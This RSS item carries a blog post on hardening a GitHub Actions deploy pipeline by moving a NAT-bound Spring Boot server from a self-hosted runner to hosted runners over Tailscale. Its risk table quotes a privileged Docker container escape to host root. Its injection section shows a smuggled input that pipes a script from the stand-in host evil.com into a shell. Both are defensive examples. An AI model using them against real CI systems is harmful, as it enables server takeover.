<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hardening CI/CD for a NAT-Bound Server: Self-Hosted to Tailscale]]></title><description><![CDATA[Hardening CI/CD for a NAT-Bound Server: Self-Hosted to Tailscale]]></description><link>https://vini-ornelas.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 21 Oct 2026 18:27:20 GMT</lastBuildDate><atom:link href="https://vini-ornelas.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Hardening CI/CD for a NAT-Bound Server: Self-Hosted to Tailscale]]></title><description><![CDATA[Self-hosted runners on public repos grant root to any PR author. Here are 7 defense layers from SHA pinning to Tailscale WireGuard mesh.]]></description><link>https://vini-ornelas.hashnode.dev/hardening-ci-cd-for-a-nat-bound-server-self-hosted-to-tailscale</link><guid isPermaLink="true">https://vini-ornelas.hashnode.dev/hardening-ci-cd-for-a-nat-bound-server-self-hosted-to-tailscale</guid><category><![CDATA[ci-cd]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Security]]></category><category><![CDATA[tailscale]]></category><dc:creator><![CDATA[Vinícius Ornelas]]></dc:creator><pubDate>Mon, 13 Jul 2026 13:48:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a4fe37b9937783fa5290c90/c9bf1b38-4e21-4816-aff7-51c2a849a3a2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A self-hosted GitHub Actions runner on a public repo is a remote code execution endpoint — anyone who opens a PR can run arbitrary code on your production server.</p>
<p>This post assumes you've shipped at least one service to production via CI/CD. You'll walk away with a concrete 7-layer hardening strategy and a working Tailscale-based deploy pattern for servers behind NAT.</p>
<p>The migration took ~8 hours across 2 days, with a 2-week observation period before decommissioning the old runner.</p>
<h2>What makes a self-hosted runner on a public repo dangerous?</h2>
<p>The project: a Spring Boot REST API served through Cloudflare tunnels, deployed via GitHub Actions running on a self-hosted runner installed on the same production machine.</p>
<p>The security assessment flagged this as <strong>critical severity</strong>:</p>
<table>
<thead>
<tr>
<th>Risk</th>
<th>Impact</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Docker socket = root</strong> — <code>docker run --privileged -v /:/hostfs alpine chroot /hostfs</code> gives full root</td>
<td>Any workflow step owns the server</td>
</tr>
<tr>
<td><strong>Persistence between jobs</strong> — malicious workflows can install cron jobs, modify <code>~/.bashrc</code>, alter the runner binary</td>
<td>Backdoor survives across deploys</td>
</tr>
<tr>
<td><strong>Public repo + self-hosted runner</strong> — fork PRs execute code on the runner</td>
<td>Zero-click RCE for external attackers</td>
</tr>
<tr>
<td><strong>No network isolation</strong> — runner sits on the home LAN with no VLAN separation</td>
<td>Lateral movement to other devices</td>
</tr>
</tbody></table>
<p>The fix was clear: move to GitHub-hosted runners (ephemeral VMs, destroyed after each job, no Docker socket). But the server has no public IP.</p>
<h2>How do you SSH into a NAT-bound server from hosted runners?</h2>
<p>GitHub-hosted runners spin up in Azure — they can't SSH into <code>192.168.x.x</code>. I tried two approaches.</p>
<p><strong>Cloudflare Access SSH</strong> failed in CI/CD. Service Token authentication doesn't reliably forward the SSH username from the runner to the server. After two days of intermittent <code>websocket: bad handshake</code> errors across <code>cloudflared</code> versions, I scrapped it.</p>
<p><strong>Tailscale WireGuard mesh</strong> worked cleanly. Both the server and the runner become nodes in the same encrypted mesh, regardless of NAT:</p>
<pre><code class="language-bash"># Server: join the mesh with stable IP + SSH enabled
curl -fsSL https://tailscale.com/install.sh | sh &amp;&amp; tailscale up --ssh
</code></pre>
<p>The <code>tailscale/github-action</code> creates an ephemeral node using an auth key. The runner gets a stable <code>100.x.x.x</code> IP, connects over WireGuard UDP (encrypted, no public ports needed), and SSHes directly. No intermediate proxy, no cloudflared binary to download each job.</p>
<table>
<thead>
<tr>
<th>Aspect</th>
<th>Cloudflare Access SSH</th>
<th>Tailscale</th>
</tr>
</thead>
<tbody><tr>
<td>Auth mechanism</td>
<td>Service Token (HTTP headers)</td>
<td>OIDC via auth key (WireGuard)</td>
</tr>
<tr>
<td>Reliability in automation</td>
<td>Intermittent failures</td>
<td>Consistent</td>
</tr>
<tr>
<td>Transport</td>
<td>HTTPS tunnel</td>
<td>WireGuard (UDP, end-to-end encrypted)</td>
</tr>
<tr>
<td>Cost</td>
<td>Free (Zero Trust tier)</td>
<td>Free (Personal plan, 1,000 ephemeral min/month)</td>
</tr>
</tbody></table>
<h2>How do you pin actions, scope permissions, and prevent injection?</h2>
<p>Moving to hosted runners eliminated the Docker socket and persistence risks. But a hardened pipeline needs more. Here are the first three layers.</p>
<p><strong>SHA-pinned actions.</strong> After the <code>tj-actions/changed-files</code> supply chain attack (March 2025), every action is pinned by its full commit SHA — not by mutable tag:</p>
<pre><code class="language-yaml"># Vulnerable to tag hijack
- uses: actions/checkout@v4

# Pinned to immutable commit SHA
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
</code></pre>
<p>A verification script audits all SHAs against the GitHub API before each release. Dependabot PRs for <code>github-actions</code> keep them updated weekly.</p>
<p><strong>Minimal permissions.</strong> Every workflow starts with the tightest scope:</p>
<pre><code class="language-yaml">permissions:
  contents: read  # workflow-level default

jobs:
  build:
    permissions:
      contents: read
      packages: write  # only this job pushes to GHCR
  deploy:
    permissions:
      contents: read
      packages: read   # only pulls from GHCR
</code></pre>
<p>No <code>id-token: write</code>, no <code>pages: write</code>, no broad <code>write-all</code>. The <code>GITHUB_TOKEN</code> is scoped per-job and discarded when the VM is destroyed.</p>
<p><strong>Script injection prevention.</strong> GitHub Actions expressions like <code>${{ github.event.inputs.ref }}</code> are string-interpolated <em>before</em> the shell runs. A malicious input like <code>main"; curl evil.com/payload | sh; echo "</code> executes arbitrary code:</p>
<pre><code class="language-yaml"># Vulnerable: user-controlled value directly in shell
- run: echo "Deploying ${{ github.event.inputs.ref }}"

# Safe: pass through env var (shell-quoted by the runner)
- env:
    INPUT_REF: ${{ github.event.inputs.ref }}
  run: echo "Deploying ${INPUT_REF}"
</code></pre>
<p>I audited every <code>run:</code> block and moved all user-controllable expressions to <code>env:</code> blocks. Three steps in the deploy workflow were fixed.</p>
<h2>How do you use Harden-Runner to monitor egress?</h2>
<p><a href="https://github.com/step-security/harden-runner"><code>step-security/harden-runner</code></a> runs as the <strong>first step</strong> in every job:</p>
<pre><code class="language-yaml">- name: Harden Runner
  uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
  with:
    egress-policy: audit
</code></pre>
<p>Start with <code>audit</code> mode. It monitors all network connections, file access, and process execution without blocking anything. Let it run 2–4 weeks across real deployments to build a baseline of legitimate endpoints (GHCR, Maven Central, Tailscale coordination servers).</p>
<p>Once the baseline is stable, migrate to <code>block</code> mode with an explicit allowlist:</p>
<pre><code class="language-yaml">egress-policy: block
allowed-endpoints: &gt;
  ghcr.io:443
  github.com:443
  plugins.gradle.org:443
  repo.maven.apache.org:443
</code></pre>
<p>This two-phase approach avoids false positives breaking deploys on day one while giving you a concrete path to enforcement. CVE-2025-32955 confirmed that <code>disable-sudo</code> alone isn't sufficient — egress monitoring fills the gap.</p>
<h2>How do you deploy securely to a remote server?</h2>
<p>Three final layers close the remaining attack surface.</p>
<p><strong>External deploy scripts.</strong> Deploy logic was extracted from inline YAML heredocs into versioned shell scripts under <code>.github/scripts/api/</code>: <code>deploy.sh</code>, <code>rollback.sh</code>, <code>verify.sh</code>, <code>cleanup.sh</code>. Scripts are <code>scp</code>'d to the server and executed via <code>ssh</code>. This eliminates fragile YAML heredocs, complex quoting, and <code>sed -i</code> strip hacks. Each script has a <code>trap</code> for cleanup on exit.</p>
<p><strong>GHCR auth without exposing tokens.</strong> Instead of exporting <code>GITHUB_TOKEN</code> as an environment variable over SSH (which would appear in <code>/proc/*/environ</code>), the runner's deploy job creates <code>~/.docker/config.json</code> via <code>docker/login-action</code>, <code>scp</code> copies it to the server, and <code>deploy.sh</code> runs <code>docker --config /path/to/config pull ghcr.io/...</code>. The token is read from file, never in a process list. A <code>trap</code> removes the config file on exit.</p>
<p><strong>Automatic rollback.</strong> The deploy script tags the current image as <code>:backup</code> <em>before</em> pulling the new one. If the health check fails (30 attempts × 5s = 150s), the rollback step restores the backup automatically. No registry involved, no network dependency.</p>
<pre><code class="language-yaml">concurrency:
  group: deploy-api-prod
  cancel-in-progress: false  # never cancel a running production deploy
</code></pre>
<p>Every job has a <code>timeout-minutes</code> (build: 15, deploy: 25, verify: 15, cleanup: 5).</p>
<h2>What did the migration deliver?</h2>
<p>The production deploy workflow (<code>deploy-api-prod.yml</code>) orchestrates 4 jobs: Build → Manual Gate → Deploy → Verify + Cleanup, with Rollback on failure.</p>
<p>Key design decisions: every push creates 3 GHCR tags (<code>&lt;git-tag&gt;</code>, <code>sha-&lt;full-commit&gt;</code> immutable, <code>latest</code>). The deploy script pulls by <code>sha-&lt;commit&gt;</code> and retags to the local compose image name. The <code>docker-compose.yml</code> is never modified. Each job (deploy, verify, cleanup) sets up its own ephemeral Tailscale node — jobs run on separate VMs with no shared state.</p>
<table>
<thead>
<tr>
<th>Metric</th>
<th>Before</th>
<th>After</th>
</tr>
</thead>
<tbody><tr>
<td>Attack surface</td>
<td>Docker socket + home LAN + persistent runner</td>
<td>SSH over WireGuard to ephemeral VMs</td>
</tr>
<tr>
<td>Secrets on disk</td>
<td><code>.env</code> + JWT keys persisted indefinitely</td>
<td>Injected via SSH, cleaned up by <code>trap</code> on exit</td>
</tr>
<tr>
<td>CI/CD cost</td>
<td>$0</td>
<td>$0 (within free tier)</td>
</tr>
<tr>
<td>Deploy time (cold start)</td>
<td>~8–12 min</td>
<td>~6m 38s</td>
</tr>
<tr>
<td>Deploy time (cached)</td>
<td>—</td>
<td>~3m 29s</td>
</tr>
<tr>
<td>Supply chain protection</td>
<td>Tags (mutable)</td>
<td>SHA pins + Dependabot</td>
</tr>
<tr>
<td>Manual steps</td>
<td>Push to branch → auto-deploy</td>
<td>Push tag → auto-build → manual approval → deploy</td>
</tr>
</tbody></table>
<h2>When NOT to use this approach</h2>
<p>This pipeline is overkill for private repos with a small team. Self-hosted runners on private repos are fine — the fork PR vector doesn't apply, and you control who has repo access.</p>
<p>Tailscale adds a coordination dependency. If Tailscale's coordination servers are down, deploys fail. For a solo-maintained project, this is an acceptable trade-off. For a multi-region production system, you'd want a fallback path (VPN, bastion host, or Cloudflare Tunnel with a more recent <code>cloudflared</code> version).</p>
<p>The <code>StrictHostKeyChecking=no</code> decision inside the WireGuard mesh is a documented risk acceptance. WireGuard already provides end-to-end encryption and node identity verification — SSH host key verification is redundant overhead. If your compliance requirements demand host key pinning, the Tailscale model won't satisfy that.</p>
<h2>What's next</h2>
<p>The workflows and deploy scripts are in the public repository: <a href="https://github.com/unspoken-tech-org/workshop_rest_api">unspoken-tech-org/workshop_rest_api</a>.</p>
<p>If you're maintaining a solo project on a public repo and haven't audited your CI/CD attack surface, start with <code>step-security/harden-runner</code> in audit mode. Two weeks of data will show you what your pipeline is actually doing.</p>
]]></content:encoded></item></channel></rss>